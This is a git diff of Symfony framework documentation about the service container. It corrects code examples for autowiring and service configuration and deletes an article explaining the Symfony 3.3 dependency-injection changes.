@@ -122,6 +120,7 @@ inside your controller::
     // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     /**
      * @Route("/products/new")
@@ -283,9 +282,6 @@ type-hints by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -340,19 +336,22 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
     namespace App\Controller;
-    
-    // ...
+
     use App\Service\SiteUpdateManager;
+    // ...
 
-    public function new(SiteUpdateManager $siteUpdateManager)
+    class SiteController extends AbstractController
     {
-        // ...
+        public function new(SiteUpdateManager $siteUpdateManager)
+        {
+            // ...
 
-        if ($siteUpdateManager->notifyOfSiteUpdate()) {
-            $this->addFlash('success', 'Notification mail was sent successfully.');
-        }
+            if ($siteUpdateManager->notifyOfSiteUpdate()) {
+                $this->addFlash('success', 'Notification mail was sent successfully.');
+            }
 
-        // ...
+            // ...
+        }
     }
 
 Thanks to autowiring and your type-hints in ``__construct()``, the container creates
@@ -369,38 +368,38 @@ example, suppose you want to make the admin email configurable:
 
 .. code-block:: diff
 
-    // src/Service/SiteUpdateManager.php
-    // ...
+      // src/Service/SiteUpdateManager.php
+      // ...
 
-    class SiteUpdateManager
-    {
-        // ...
+      class SiteUpdateManager
+      {
+          // ...
     +    private $adminEmail;
 
     -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, $adminEmail)
-        {
-            // ...
+    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
+          {
+              // ...
     +        $this->adminEmail = $adminEmail;
-        }
+          }
 
-        public function notifyOfSiteUpdate(): bool
-        {
-            // ...
+          public function notifyOfSiteUpdate(): bool
+          {
+              // ...
 
-            $email = (new Email())
-                // ...
+              $email = (new Email())
+                  // ...
     -            ->to('manager@example.com')
     +            ->to($this->adminEmail)
-                // ...
-            ;
-            // ...
-        }
-    }
+                  // ...
+              ;
+              // ...
+          }
+      }
 
 If you make this change and refresh, you'll see an error:
 
-    Cannot autowire service "App\Service\SiteUpdateManager": argument "$adminEmail"
+    Cannot autowire service "App\\Service\\SiteUpdateManager": argument "$adminEmail"
     of method "__construct()" must have a type-hint or be given a value explicitly.
 
 That makes sense! There is no way that the container knows what value you want to
@@ -500,13 +499,14 @@ parameter and in PHP config use the ``service()`` function:
         # config/services.yaml
         services:
             App\Service\MessageGenerator:
-                # this is not a string, but a reference to a service called 'logger'
-                arguments: ['@logger']
+                arguments:
+                    # this is not a string, but a reference to a service called 'logger'
+                    - '@logger'
 
-                # if the value of a string parameter starts with '@', you need to escape
-                # it by adding another '@' so Symfony doesn't consider it a service
-                # (this will be parsed as the string '@securepassword')
-                mailer_password: '@@securepassword'
+                    # if the value of a string argument starts with '@', you need to escape
+                    # it by adding another '@' so Symfony doesn't consider it a service
+                    # the following example would be parsed as the string '@securepassword'
+                    # - '@@securepassword'
 
     .. code-block:: xml
 
@@ -642,7 +642,7 @@ But, you can control this and pass in a different logger:
             // ... same code as before
 
             // explicitly configure the service
-            $services->set(SiteUpdateManager::class)
+            $services->set(MessageGenerator::class)
                 ->arg('$logger', service('monolog.logger.request'))
             ;
         };
@@ -994,7 +994,6 @@ for classes under the same namespace:
             <services>
                 <prototype namespace="App\Domain"
                     resource="../src/App/Domain/*"/>
-                </prototype>
 
                 <!-- ... -->
             </services>
diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
deleted file mode 100644
index d57be2c0e5b..00000000000
--- a/service_container/3.3-di-changes.rst
+++ /dev/null
@@ -1,873 +0,0 @@
-The Symfony 3.3 DI Container Changes Explained (autowiring, _defaults, etc)
-===========================================================================
-
-If you look at the ``services.yaml`` file in a new Symfony 3.3 or newer project, you'll
-notice some big changes: ``_defaults``, ``autowiring``, ``autoconfigure`` and more.
-These features are designed to *automate* configuration and make development faster,
-without sacrificing predictability, which is very important! Another goal is to make
-controllers and services behave more consistently. In Symfony 3.3, controllers *are*
-services by default.
-
-The documentation has already been updated to assume you have these new features
-enabled. If you're an existing Symfony user and want to understand the "what"
-and "why" behind these changes, this article is for you!
-
-All Changes are Optional
-------------------------
-
-Most importantly, **you can upgrade to Symfony 3.3 today without making any changes to your app**.
-Symfony has a strict :doc:`backwards compatibility promise </contributing/code/bc>`,
-which means it's always safe to upgrade across minor versions.
-
-All of the new features are **optional**: they are not enabled by default, so you
-need to actually change your configuration files to use them.
-
-.. _`service-33-default_definition`:
-
-The new Default services.yaml File
-----------------------------------
-
-To understand the changes, look at the new default ``services.yaml`` file (this is
-what the file looks like in Symfony 4):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # default configuration for services in *this* file
-            _defaults:
-                autowire: true      # Automatically injects dependencies in your services.
-                autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
-                public: false       # Allows optimizing the container by removing unused services; this also means
-                                    # fetching services directly from the container via $container->get() won't work.
-                                    # The best practice is to be explicit about your dependencies anyway.
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-            # controllers are imported separately to make sure services can be injected
-            # as action arguments even if you don't extend any base controller class
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-            # add more service definitions when explicit configuration is needed
-            # please note that last definitions always *replace* previous ones
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false"/>
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-
-                <!-- add more services, or override services that need manual wiring -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // default configuration for services in *this* file
-            $services = $configurator->services()
-                ->defaults()
-                    ->autowire()      // Automatically injects dependencies in your services.
-                    ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-            ;
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-
-            // controllers are imported separately to make sure services can be injected
-            // as action arguments even if you don't extend any base controller class
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-
-            // add more service definitions when explicit configuration is needed
-            // please note that last definitions always *replace* previous ones
-        };
-
-This small bit of configuration contains a paradigm shift of how services
-are configured in Symfony.
-
-.. _`service-33-changes-automatic-registration`:
-
-1) Services are Loaded Automatically
-------------------------------------
-
-.. seealso::
-
-    Read the documentation for :ref:`automatic service loading <service-psr4-loader>`.
-
-The first big change is that services do *not* need to be defined one-by-one anymore,
-thanks to the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-        };
-
-This means that every class in ``src/`` is *available* to be used as a
-service. And thanks to the ``_defaults`` section at the top of the file, all of
-these services are **autowired** and **private** (i.e. ``public: false``).
-
-The service ids are equal to the class name (e.g. ``App\Service\InvoiceGenerator``).
-And that's another change you'll notice in Symfony 3.3: we recommend that you use
-the class name as your service id, unless you have :ref:`multiple services for the same class <services-explicitly-configure-wire-services>`.
-
-    But how does the container know the arguments to my services?
-
-Since each service is :ref:`autowired <services-autowire>`, the container is able
-to determine most arguments automatically. But, you can always override the service
-and :ref:`manually configure arguments <services-manually-wire-args>` or anything
-else special about your service.
-
-    But wait, if I have some model (non-service) classes in my ``src/``
-    directory, doesn't this mean that *they* will also be registered as services?
-    Isn't that a problem?
-
-Actually, this is *not* a problem. Since all the new services are :ref:`private <container-public>`
-(thanks to ``_defaults``), if any of the services are *not* used in your code, they're
-automatically removed from the compiled container. This means that the number of
-services in your container should be the *same* whether your explicitly configure
-each service or load them all at once with this method.
-
-    Ok, but can I exclude some paths that I *know* won't contain services?
-
-Yes! The ``exclude`` key is a glob pattern that can be used to *ignore* paths
-that you do *not* want to be included as services. But, since unused services are
-automatically removed from the container, ``exclude`` is not that important. The
-biggest benefit is that those paths are not *tracked* by the container, and so may
-result in the container needing to be rebuilt less-often in the ``dev`` environment.
-
-2) Autowiring by Default: Use Type-hint instead of Service id
--------------------------------------------------------------
-
-The second big change is that autowiring is enabled (via ``_defaults``) for all
-services you register. This also means that service id's are now *less* important
-and "types" (i.e. class or interface names) are now *more* important.
-
-For example, before Symfony 3.3 (and this is still allowed), you could pass one
-service as an argument to another with the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.invoice_generator:
-                class: App\Service\InvoiceGenerator
-
-            app.invoice_mailer:
-                class: App\Service\InvoiceMailer
-                arguments:
-                    - '@app.invoice_generator'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.invoice_generator"
-                    class="App\Service\InvoiceGenerator"/>
-
-                <service id="app.invoice_mailer"
-                    class="App\Service\InvoiceMailer">
-
-                    <argument type="service" id="app.invoice_generator"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Service\InvoiceGenerator;
-        use App\Service\InvoiceMailer;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        $container->register('app.invoice_generator', InvoiceGenerator::class);
-        $container->register('app.invoice_mailer', InvoiceMailer::class)
-            ->setArguments([new Reference('app.invoice_generator')]);
-
-To pass the ``InvoiceGenerator`` as an argument to ``InvoiceMailer``, you needed
-to specify the service's *id* as an argument: ``app.invoice_generator``. Service
-id's were the main way that you configured things.
-
-But in Symfony 3.3, thanks to autowiring, all you need to do is type-hint the
-argument with ``InvoiceGenerator``::
-
-    // src/Service/InvoiceMailer.php
-    namespace App\Service;
-
-    // ...
-
-    class InvoiceMailer
-    {
-        private $generator;
-
-        public function __construct(InvoiceGenerator $generator)
-        {
-            $this->generator = $generator
-        }
-
-        // ...
-    }
-
-That's it! Both services are :ref:`automatically registered <service-33-changes-automatic-registration>`
-and set to autowire. Without *any* configuration, the container knows to pass the
-auto-registered ``App\Service\InvoiceGenerator`` as the first argument. As
-you can see, the *type* of the class - ``App\Service\InvoiceGenerator`` - is
-what's most important, not the id. You request an *instance* of a specific type and
-the container automatically passes you the correct service.
-
-    Isn't that magic? How does it know which service to pass me exactly? What if
-    I have multiple services of the same instance?
-
-The autowiring system was designed to be *super* predictable. It first works by looking
-for a service whose id *exactly* matches the type-hint. This means you're in full
-control of what type-hint maps to what service. You can even use service aliases
-to get more control. If you have multiple services for a specific type, *you* choose
-which should be used for autowiring. For full details on the autowiring logic, see :ref:`autowiring-logic-explained`.
-
-    But what if I have a scalar (e.g. string) argument? How does it autowire that?
-
-If you have an argument that is *not* an object, it can't be autowired. But that's
-ok! Symfony will give you a clear exception (on the next refresh of *any* page) telling
-you which argument of which service could not be autowired. To fix it, you can
-:ref:`manually configure *just* that one argument <services-manually-wire-args>`.
-This is the philosophy of autowiring: only configure the parts that you need to.
-Most configuration is automated.
-
-    Ok, but autowiring makes your applications less stable. If you change one thing
-    or make a mistake, unexpected things might happen. Isn't that a problem?
-
-Symfony has always valued stability, security and predictability first. Autowiring
-was designed with that in mind. Specifically:
-
-* If there is a problem wiring *any* argument to *any* service, a clear exception
-  is thrown on the next refresh of *any* page, even if you don't use that service
-  on that page. That's *powerful*: it is *not* possible to make an autowiring mistake
-  and not realize it.
-
-* The container determines *which* service to pass in an explicit way: it looks for
-  a service whose id matches the type-hint exactly. It does *not* scan all services
-  looking for objects that have that class/interface.
-
-Autowiring aims to *automate* configuration without magic.
-
-3) Controllers are Registered as Services
------------------------------------------
-
-The third big change is that, in a new Symfony 3.3 project, your controllers are *services*:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # controllers are imported separately to make sure they're public
-            # and have a tag that allows actions to type-hint services
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // controllers are imported separately to make sure they're public
-            // and have a tag that allows actions to type-hint services
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-        };
-
-
-But, you might not even notice this. First, your controllers *can* still extend
-the same base controller class (``AbstractController``).
-This means you have access to all of the same shortcuts as before. Additionally,
-the ``@Route`` annotation and ``_controller`` syntax (e.g. ``App:Default:homepage``)
-used in routing will automatically use your controller as a service (as long as its
-service id matches its class name, which it *does* in this case). See :doc:`/controller/service`
-for more details. You can even create :ref:`invokable controllers <controller-service-invoke>`
-
-In other words, everything works the same. You can even add the above configuration
-to your existing project without any issues: your controllers will behave the same
-as before. But now that your controllers are services, you can use dependency injection
-and autowiring like any other service.
-
-To make life even easier, it's now possible to autowire arguments to your controller
-action methods, like you can with the constructor of services. For example::
-
-    // src/Controller/InvoiceController.php
-    namespace App\Controller;
-
-    use Psr\Log\LoggerInterface;
-
-    class InvoiceController extends AbstractController
-    {
-        public function listInvoices(LoggerInterface $logger)
-        {
-            $logger->info('A new way to access services!');
-        }
-    }
-
-This is *only* possible in a controller, and your controller service must be tagged
-with ``controller.service_arguments`` to make it happen. This new feature is used
-throughout the documentation.
-
-In general, the new best practice is to use normal constructor dependency injection
-(or "action" injection in controllers) instead of fetching public services via
-``$this->get()`` (though that does still work).
-
-.. _service_autoconfigure:
-
-4) Auto-tagging with autoconfigure
-----------------------------------
-
-The fourth big change is the ``autoconfigure`` key, which is set to ``true`` under
-``_defaults``. Thanks to this, the container will auto-tag services registered in
-this file. For example, suppose you want to create an event subscriber. First, you
-create the class::
-
-    // src/EventSubscriber/SetHeaderSusbcriber.php
-    namespace App\EventSubscriber;
-
-    // ...
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\ResponseEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class SetHeaderSusbcriber implements EventSubscriberInterface
-    {
-        public function onKernelResponse(ResponseEvent $event)
-        {
-            $event->getResponse()->headers->set('X-SYMFONY-3.3', 'Less config');
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::RESPONSE => 'onKernelResponse'
-            ];
-        }
-    }
-
-Great! In Symfony 3.2 or lower, you would now need to register this as a service
-in ``services.yaml`` and tag it with ``kernel.event_subscriber``. In Symfony 3.3,
-you're already done!
-
-The service is :ref:`automatically registered <service-33-changes-automatic-registration>`.
-And thanks to ``autoconfigure``, Symfony automatically tags the service because
-it implements ``EventSubscriberInterface``.
-
-    That sounds like magic - it *automatically* tags my services?
-
-In this case, you've created a class that implements ``EventSubscriberInterface``
-and registered it as a service. This is more than enough for the container to know
-that you want this to be used as an event subscriber: more configuration is not needed.
-And the tags system is its own, Symfony-specific mechanism. And you can
-always set ``autoconfigure`` to ``false`` in ``services.yaml``, or disable it
-for a specific service.
-
-    Does this mean tags are dead? Does this work for all tags?
-
-This does *not* work for all tags. Many tags have *required* attributes, like event
-*listeners*, where you also need to specify the event name and method in your tag.
-Autoconfigure works only for tags without any required tag attributes, and as you
-read the docs for a feature, it'll tell you whether or not the tag is needed. You
-can also look at the extension classes (e.g. `FrameworkExtension for 3.3.0`_) to
-see what it autoconfigures.
-
-    What if I need to add a priority to my tag?
-
-Many autoconfigured tags have an optional priority. If you need to specify a priority
-(or any other optional tag attribute), no problem! :ref:`Manually configure your service <services-manually-wire-args>`
-and add the tag. Your tag will take precedence over the one added by auto-configuration.
-
-5) Auto-configure with _instanceof
-----------------------------------
-
-And the final big change is ``_instanceof``. It acts as a default definition
-template (see `service-33-default_definition`_), but only for services whose
-class matches a defined one.
-
-This can be very useful when many services share some tag that cannot be
-inherited from an abstract definition:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            _instanceof:
-                App\Domain\LoaderInterface:
-                    public: true
-                    tags: ['app.domain_loader']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <instanceof id="App\Domain\LoaderInterface" public="true">
-                    <tag name="app.domain_loader"/>
-                </instanceof>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Domain\LoaderInterface;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            $services->instanceof(LoaderInterface::class)
-                ->public()
-                ->tag('app.domain_loader');
-        };
-
-What about Performance
-----------------------
-
-Symfony is unique because it has a *compiled* container. This means that there is
-*no* runtime performance impact for using any of these features. That's also why
-the autowiring system can give you such clear errors.
-
-However, there is some performance impact in the ``dev`` environment. Most importantly,
-your container will likely be rebuilt more often when you modify your service classes.
-This is because it needs to rebuild whenever you add a new argument to a service,
-or add an interface to your class that should be autoconfigured.
-
-In very big projects, this may be a problem. If it is, you can always opt to *not*
-use autowiring. If you think the cache rebuilding system could be smarter in some
-situation, please open an issue!
-
-Upgrading to the new Symfony 3.3 Configuration
-----------------------------------------------
-
-Ready to upgrade your existing project? Great! Suppose you have the following configuration:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        app.github_notifier:
-            class: App\Service\GitHubNotifier
-            arguments:
-                - '@app.api_client_github'
-
-        markdown_transformer:
-            class: App\Service\MarkdownTransformer
-
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-It's optional, but let's upgrade this to the new Symfony 3.3 configuration step-by-step,
-*without* breaking our application.
-
-Step 1): Adding _defaults
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Start by adding a ``_defaults`` section with ``autowire`` and ``autoconfigure``.
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-    +     _defaults:
-    +         autowire: true
-    +         autoconfigure: true
-
-        # ...
-
-You're already *explicitly* configuring all of your services. So, ``autowire``
-does nothing. You're also already tagging your services, so ``autoconfigure``
-also doesn't change any existing services.
-
-You have not added ``public: false`` yet. That will come in a minute.
-
-Step 2) Using Class Service id's
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Right now, the service ids are machine names - e.g. ``app.github_notifier``. To
-work well with the new configuration system, your service ids should be class names,
-except when you have multiple instances of the same service.
-
-Start by updating the service ids to class names:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-    -     app.github_notifier:
-    -         class: App\Service\GitHubNotifier
-    +     App\Service\GitHubNotifier:
-            arguments:
-                - '@app.api_client_github'
-
-    -     markdown_transformer:
-    -         class: App\Service\MarkdownTransformer
-    +     App\Service\MarkdownTransformer: ~
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-.. caution::
-
-    Services associated with global PHP classes (i.e. not using PHP namespaces)
-    must maintain the ``class`` parameter. For example, when using the old Twig
-    classes (e.g. ``Twig_Extensions_Extension_Intl`` instead of ``Twig\Extensions\IntlExtension``),
-    you can't redefine the service as ``Twig_Extensions_Extension_Intl: ~`` and
-    you must keep the original ``class`` parameter.
-
-.. caution::
-
-    If a service is processed by a :doc:`compiler pass </service_container/compiler_passes>`,
-    you could face a  "You have requested a non-existent service" error.
-    To get rid of this, be sure that the Compiler Pass is using ``findDefinition()``
-    instead of ``getDefinition()``. The latter won't take aliases into
-    account when looking up for services.
-    Furthermore it is always recommended to check for definition existence
-    using ``has()`` function.
-
-.. note::
-
-    If you get rid of deprecations and make your controllers extend from
-    ``AbstractController`` instead of ``Controller``, you can skip the rest of
-    this step because ``AbstractController`` doesn't provide a container where
-    you can get the services from. All services need to be injected as explained
-    in the :ref:`step 5 of this article <step-5>`.
-
-But, this change will break our app! The old service ids (e.g. ``app.github_notifier``)
-no longer exist. The simplest way to fix this is to find all your old service ids
-and update them to the new class id: ``app.github_notifier`` to ``App\Service\GitHubNotifier``.
-
-In large projects, there's a better way: create legacy aliases that map the old id
-to the new id. Create a new ``legacy_aliases.yaml`` file:
-
-.. code-block:: yaml
-
-    # config/legacy_aliases.yaml
-    services:
-        _defaults:
-            public: true
-        # aliases so that the old service ids can still be accessed
-        # remove these if/when you are not fetching these directly
-        # from the container via $container->get()
-        app.github_notifier: '@App\Service\GitHubNotifier'
-        markdown_transformer: '@App\Service\MarkdownTransformer'
-
-Then import this at the top of ``services.yaml``:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    + imports:
-    +     - { resource: legacy_aliases.yaml }
-
-    # ...
-
-That's it! The old service ids still work. Later, (see the cleanup step below), you
-can remove these from your app.
-
-Step 3) Make the Services Private
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Now you're ready to default all services to be private:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-    +       public: false
-
-Thanks to this, any services created in this file cannot be fetched directly from
-the container. But, since the old service id's are aliases in a separate file (``legacy_aliases.yaml``),
-these *are* still public. This makes sure the app keeps working.
-
-If you did *not* change the id of some of your services (because there are multiple
-instances of the same class), you may need to make those public:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-
-    +         # remove this if/when you are not fetching this
-    +         # directly from the container via $container->get()
-    +         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    +         public: true
-
-This is to guarantee that the application doesn't break. If you're not fetching
-these services directly from the container, this isn't needed. In a minute, you'll
-clean that up.
-
-Step 4) Auto-registering Services
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You're now ready to automatically register all services in ``src/``
-(and/or any other directory/bundle you have):
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        _defaults:
-            # ...
-
-    +     App\:
-    +         resource: '../src/*'
-    +         exclude: '../src/{Entity,Migrations,Tests}'
-    +
-    +     App\Controller\:
-    +         resource: '../src/Controller'
-    +         tags: ['controller.service_arguments']
-
-        # ...
-
-That's it! Actually, you're already overriding and reconfiguring all the services
-you're using (``App\Service\GitHubNotifier`` and ``App\Service\MarkdownTransformer``).
-But now, you won't need to manually register future services.
-
-Once again, there is one extra complication if you have multiple services of the
-same class:
-
-.. code-block:: diff
-
-    # config/services.yaml
-
-    services:
-        # ...
-
-    +     # alias ApiClient to one of our services below
-    +     # app.api_client_github will be used to autowire ApiClient type-hints
-    +     App\Service\ApiClient: '@app.api_client_github'
-
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-This guarantees that if you try to autowire an ``ApiClient`` instance, the ``app.api_client_github``
-will be used. If you *don't* have this, the auto-registration feature will try to
-register a third ``ApiClient`` service and use that for autowiring (which will fail,
-because the class has a non-autowireable argument).
-
-.. _step-5:
-
-Step 5) Cleanup!
-~~~~~~~~~~~~~~~~
-
-To make sure your application didn't break, you did some extra work. Now it's time
-to clean things up! First, update your application to *not* use the old service id's (the
-ones in ``legacy_aliases.yaml``). This means updating any service arguments (e.g.
-``@app.github_notifier`` to ``@App\Service\GitHubNotifier``) and updating your
-code to not fetch this service directly from the container. For example:
-
-.. code-block:: diff
-
-    -     public function index()
-    +     public function index(GitHubNotifier $gitHubNotifier, MarkdownTransformer $markdownTransformer)
-        {
-    -         // the old way of fetching services
-    -         $githubNotifier = $this->container->get('app.github_notifier');
-    -         $markdownTransformer = $this->container->get('markdown_transformer');
-
-            // ...
-        }
-
-As soon as you do this, you can delete ``legacy_aliases.yaml`` and remove its import.
-You should do the same thing for any services that you made public, like
-``app.api_client_github`` and ``app.api_client_sl_connect``. Once you're not fetching
-these directly from the container, you can remove the ``public: true`` flag:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-    -         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    -         public: true
-
-Finally, you can optionally remove any services from ``services.yaml`` whose arguments
-can be autowired. The final configuration looks like this:
-
-.. code-block:: yaml
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-            public: false
-
-        App\:
-            resource: '../src/*'
-            exclude: '../src/{Entity,Migrations,Tests}'
-
-        App\Controller\:
-            resource: '../src/Controller'
-            tags: ['controller.service_arguments']
-
-        App\Service\GitHubNotifier:
-            # this could be deleted, or I can keep being explicit
-            arguments:
-                - '@app.api_client_github'
-
-        # alias ApiClient to one of our services below
-        # app.api_client_github will be used to autowire ApiClient type-hints
-        App\Service\ApiClient: '@app.api_client_github'
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-You can now take advantage of the new features going forward.
-
-.. _`FrameworkExtension for 3.3.0`: https://github.com/symfony/symfony/blob/7938fdeceb03cc1df277a249cf3da70f0b50eb98/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/FrameworkExtension.php#L247-L284
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 6e032b10a6f..f216855d292 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -172,7 +172,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
     .. code-block:: yaml
 
         app.mailer:
-            alias: '@App\Mail\PhpMailer'
+            alias: 'App\Mail\PhpMailer'
 
             # this outputs the following generic deprecation message:
             # Since acme/package 1.2: The "app.mailer" service alias is deprecated. You should stop using it, as it will be removed in the future
@@ -283,7 +283,7 @@ The following example shows how to inject an anonymous service into another serv
 
             $services->set(Foo::class)
                 // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
-                ->args([inline_service(AnonymousBar::class)])
+                ->args([inline_service(AnonymousBar::class)]);
         };
 
 .. note::
@@ -334,7 +334,7 @@ Using an anonymous service as a factory looks like this:
             $services = $configurator->services();
 
             $services->set(Foo::class)
-                ->factory([inline_service(AnonymousBar::class), 'constructFoo'])
+                ->factory([inline_service(AnonymousBar::class), 'constructFoo']);
         };
 
 Deprecating Services
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index e62f75f7513..13e224aed72 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -29,7 +29,7 @@ Start by creating a ROT13 transformer class::
 
     class Rot13Transformer
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return str_rot13($value);
         }
@@ -41,6 +41,7 @@ And now a Twitter client using this transformer::
     namespace App\Service;
 
     use App\Util\Rot13Transformer;
+    // ...
 
     class TwitterClient
     {
